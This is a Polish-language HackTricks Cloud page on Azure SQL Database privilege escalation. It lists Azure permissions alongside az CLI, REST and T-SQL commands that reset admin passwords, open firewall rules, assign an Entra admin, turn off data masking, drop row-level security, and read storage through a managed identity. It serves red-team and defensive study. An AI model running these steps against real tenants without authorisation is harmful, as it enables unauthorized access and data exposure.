Az - SQL Database Privesc
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
SQL Database Privesc
Aby uzyskać więcej informacji na temat SQL Database, sprawdź:
Microsoft.Sql/servers/read && Microsoft.Sql/servers/write
Dzięki tym uprawnieniom użytkownik może przeprowadzić eskalację uprawnień, aktualizując lub tworząc serwery Azure SQL oraz modyfikując krytyczne konfiguracje, w tym dane uwierzytelniające administratora. To uprawnienie pozwala użytkownikowi na aktualizację właściwości serwera, w tym hasła administratora SQL, co umożliwia nieautoryzowany dostęp lub kontrolę nad serwerem. Mogą również tworzyć nowe serwery, potencjalnie wprowadzając infrastrukturę cieniową w celach złośliwych. Staje się to szczególnie krytyczne w środowiskach, w których “Microsoft Entra Authentication Only” jest wyłączone, ponieważ mogą wykorzystać uwierzytelnianie oparte na SQL, aby uzyskać nieograniczony dostęp.
# Change the server password
az sql server update \
--name <server_name> \
--resource-group <resource_group_name> \
--admin-password <new_password>
# Create a new server
az sql server create \
--name <new_server_name> \
--resource-group <resource_group_name> \
--location <location> \
--admin-user <admin_username> \
--admin-password <admin_passwor d>
Dodatkowo, konieczne jest włączenie dostępu publicznego, jeśli chcesz uzyskać dostęp z punktu końcowego, który nie jest prywatny. Aby to włączyć:
az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--enable-public-network true
Ponadto, z uprawnieniami możesz włączyć przypisaną tożsamość i operować z zarządzaną tożsamością przypisaną do serwera. Na przykład tutaj z zarządzaną tożsamością, która może uzyskać dostęp do Azure Storage:
az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--assign_identity
CREATE DATABASE SCOPED CREDENTIAL [ManagedIdentityCredential]
WITH IDENTITY = 'Managed Identity';
GO
CREATE EXTERNAL DATA SOURCE ManagedIdentity
WITH (
TYPE = BLOB_STORAGE,
LOCATION = 'https://<storage-account>.blob.core.windows.net/<container>',
CREDENTIAL = ManagedIdentityCredential
);
GO
SELECT *
FROM OPENROWSET(
BULK 'message.txt',
DATA_SOURCE = 'ManagedIdentity',
SINGLE_CLOB
) AS DataFile;
GO
Microsoft.Sql/servers/firewallRules/write
Atakujący może manipulować regułami zapory na serwerach Azure SQL, aby umożliwić nieautoryzowany dostęp. Może to być wykorzystane do otwarcia serwera na konkretne adresy IP lub całe zakresy adresów IP, w tym publiczne adresy IP, co umożliwia dostęp dla złośliwych aktorów. Ta aktywność po eksploatacji może być używana do obejścia istniejących zabezpieczeń sieciowych, ustanowienia trwałości lub ułatwienia ruchu lateralnego w środowisku poprzez ujawnienie wrażliwych zasobów.
# Create Firewall Rule
az sql server firewall-rule create \
--name <new-firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <start-ip-address> \
--end-ip-address <end-ip-address>
# Update Firewall Rule
az sql server firewall-rule update \
--name <firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <new-start-ip-address> \
--end-ip-address <new-end-ip-address>
Dodatkowo, uprawnienie Microsoft.Sql/servers/outboundFirewallRules/delete pozwala na usunięcie reguły zapory.
UWAGA: Należy mieć włączony dostęp publiczny.
Microsoft.Sql/servers/ipv6FirewallRules/write
Dzięki temu uprawnieniu możesz tworzyć, modyfikować lub usuwać reguły zapory IPv6 na serwerze Azure SQL. Może to umożliwić atakującemu lub uprawnionemu użytkownikowi ominięcie istniejących konfiguracji zabezpieczeń sieciowych i uzyskanie nieautoryzowanego dostępu do serwera. Dodając regułę, która pozwala na ruch z dowolnego adresu IPv6, atakujący może otworzyć serwer na dostęp zewnętrzny.
az sql server firewall-rule create \
--server <server_name> \
--resource-group <resource_group_name> \
--name <rule_name> \
--start-ip-address <start_ipv6_address> \
--end-ip-address <end_ipv6_address>
Dodatkowo, uprawnienie Microsoft.Sql/servers/ipv6FirewallRules/delete pozwala na usunięcie reguły zapory.
UWAGA: Należy mieć włączony dostęp publiczny
Microsoft.Sql/servers/administrators/write && Microsoft.Sql/servers/administrators/read
Dzięki tym uprawnieniom możesz uzyskać podwyższone uprawnienia w środowisku Azure SQL Server, uzyskując dostęp do baz danych SQL i odzyskując krytyczne informacje. Używając poniższego polecenia, atakujący lub uprawniony użytkownik może ustawić siebie lub inne konto jako administratora Azure AD. Jeśli “Microsoft Entra Authentication Only” jest włączone, możesz uzyskać dostęp do serwera i jego instancji. Oto polecenie do ustawienia administratora Azure AD dla serwera SQL:
az sql server ad-admin create \
--server <server_name> \
--resource-group <resource_group_name> \
--display-name <admin_display_name> \
--object-id <azure_subscribtion_id>
Microsoft.Sql/servers/azureADOnlyAuthentications/write && Microsoft.Sql/servers/azureADOnlyAuthentications/read
Dzięki tym uprawnieniom możesz skonfigurować i wymusić “Tylko uwierzytelnianie Microsoft Entra” na serwerze Azure SQL, co może ułatwić eskalację uprawnień w niektórych scenariuszach. Atakujący lub uprawniony użytkownik z tymi uprawnieniami może włączyć lub wyłączyć uwierzytelnianie tylko przez Azure AD.
#Enable
az sql server azure-ad-only-auth enable \
--server <server_name> \
--resource-group <resource_group_name>
#Disable
az sql server azure-ad-only-auth disable \
--server <server_name> \
--resource-group <resource_group_name>
Microsoft.Sql/servers/databases/dataMaskingPolicies/write
Modyfikuj (lub wyłącz) polityki maskowania danych w swoich bazach danych SQL.
az rest --method put \
--uri "https://management.azure.com/subscriptions/<your-subscription-id>/resourceGroups/<your-resource-group>/providers/Microsoft.Sql/servers/<your-server>/databases/<your-database>/dataMaskingPolicies/Default?api-version=2021-11-01" \
--body '{
"properties": {
"dataMaskingState": "Disable"
}
}'
Usuń zabezpieczenia na poziomie wiersza
Jeśli zalogujesz się jako administrator, możesz usunąć polityki samego administratora oraz innych użytkowników.
DROP SECURITY POLICY [Name_of_policy];
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

